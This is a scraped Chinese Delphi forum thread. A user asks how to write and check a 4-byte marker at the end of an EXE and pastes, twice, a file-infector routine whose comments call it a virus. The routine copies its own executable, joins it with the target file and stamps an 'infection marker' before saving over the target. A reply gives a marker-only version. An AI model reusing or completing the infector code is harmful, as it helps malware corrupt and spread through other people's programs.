分别给出2个代码
1个:
在某个EXE的最后个字节写入666666
2个
检测某个EXE最后个字节是不是666666
procedure copy(s:string);///S:目标文件完整文件名(带路径的)
var
s1,s2,s3:tmemorystream; //内存流
file1:tfilestream;//文件流
id:integer;
iid:longint;
const
id=$66666666;//感染标识
begin
file1:=tfilestream.Create(s,fmopenread);//将目标文件读入文件流
if file1.Size>1024000 then //如果目标文件大于10M则退出
begin
file1.Free;
close;
end
else
begin
file1.Free;//比较完毕释放文件流
s1:=tmemorystream.Create;//创建内存流
s1.LoadFromFile(paramstr(0));//将病毒自身读入临时内存流
s2:=tmemorystream.Create;
s2.CopyFrom(s1,s1.Size);//将病毒流写入主内存流
s1.Clear;
s3:=tmemorystream.creat;
s3.LoadFromFile(s);//装入目标文件
s3.seek(-4,sofromend);//定位到文件的最后4个字节
s3.read(iid,4);//读取最后4个字节
if iid=id then //判断是否感染
begin
s3.free;//如果感染过了就退出
close;
end
else
begin
s1.loadfromfile(s);//将目标文件装入临时流
s2.Seek(s2.Size,sofrombeginning);//定位到主内存流的尾部
s2.CopyFrom(s1,s1.Size);//写入目标文件到主内存流
s1.Free;
s2.seek(0,sofromend);//定位到尾部
iid:=$66666666;
s2.write(iid,4);//写入感染标识
s2.SaveToFile(s);//将主内存流写入目标文件完成感染
s2.Free;
end;
end;
end;
我只想要其中写入内容
和检测内容的代码
来帮我 提取出来,着里面有着个的代码
我不是弄病毒,我只是想在某个文件上做个标记,
1个:
在某个EXE的最后个字节写入666666
2个
检测某个EXE最后个字节是不是666666
procedure copy(s:string);///S:目标文件完整文件名(带路径的)
var
s1,s2,s3:tmemorystream; //内存流
file1:tfilestream;//文件流
id:integer;
iid:longint;
const
id=$66666666;//感染标识
begin
file1:=tfilestream.Create(s,fmopenread);//将目标文件读入文件流
if file1.Size>1024000 then //如果目标文件大于10M则退出
begin
file1.Free;
close;
end
else
begin
file1.Free;//比较完毕释放文件流
s1:=tmemorystream.Create;//创建内存流
s1.LoadFromFile(paramstr(0));//将病毒自身读入临时内存流
s2:=tmemorystream.Create;
s2.CopyFrom(s1,s1.Size);//将病毒流写入主内存流
s1.Clear;
s3:=tmemorystream.creat;
s3.LoadFromFile(s);//装入目标文件
s3.seek(-4,sofromend);//定位到文件的最后4个字节
s3.read(iid,4);//读取最后4个字节
if iid=id then //判断是否感染
begin
s3.free;//如果感染过了就退出
close;
end
else
begin
s1.loadfromfile(s);//将目标文件装入临时流
s2.Seek(s2.Size,sofrombeginning);//定位到主内存流的尾部
s2.CopyFrom(s1,s1.Size);//写入目标文件到主内存流
s1.Free;
s2.seek(0,sofromend);//定位到尾部
iid:=$66666666;
s2.write(iid,4);//写入感染标识
s2.SaveToFile(s);//将主内存流写入目标文件完成感染
s2.Free;
end;
end;
end;
我只想要其中写入内容
和检测内容的代码
来帮我 提取出来,着里面有着个的代码
我不是弄病毒,我只是想在某个文件上做个标记,
解决方案 »
- 双线程中主线程创建的对象,执行在子线程, self成了空
- cxgrid 焦点单元格的4维属性rect
- imagelist控件只能加载bmp,ico图片?
- 请问怎么样打开一个已知的execl文件
- 如何使用QReport和RAVE做报表?
- 用DELPHI这么多年,连这个我都不会啊!大家给看看吧!
- 一个简单的sql语句问题(sqlserver)
- 本人现在有QQ号码n个(n>1000),现在放在我的信箱中,而且每天都在增加!!!
- 串口通信问题,我要从串口接收4个仪表的数据,每个表有三个数据,而每次只能接收一个,怎么办啊?
- 用delphi如何实现运行一个.exe文件中删除自己?
- 请问如何创建背景窗体
- 请教用程序监视这个窗口,并自动点是!
var
s3:tmemorystream; //???
file1:tfilestream;//???
iid:longint;
const
id=$66666666;//????
begin
file1:=tfilestream.Create(s,fmopenread);//??????????
if file1.Size>1024000 then //????????10M???
begin
file1.Free;
exit;
end
else
begin
file1.Free;
s3:=tmemorystream.create;
s3.LoadFromFile(s);//??????
s3.seek(-4,sofromend);//????????4???
s3.read(iid,4);//????4???
if iid=id then //??????
begin
s3.free;//?????????
exit;
end else
begin
s3.seek(0,sofromend);//?????
iid:=$66666666;
s3.write(iid,4);//??????
s3.SaveToFile(s);//???????????????
s3.Free;
end;
end;
end;
s3:tmemorystream;
file1:tfilestream;
iid:longint;
s: string;
const
id=$66666666读的
s3:=tmemorystream.create;
s3.LoadFromFile(s);
s3.seek(-4,sofromend);
s3.read(iid,4);
if iid=id then
begin
s3.free;
exit;
end;
写的
s3.LoadFromFile(s);
s3.seek(0,sofromend);
iid:=$66666666;
s3.write(iid,4);
s3.SaveToFile(s);
s3.Free;
end;s是文件的路径
这样对不?
我在EXE里加东西不会导致EXE不能运行把..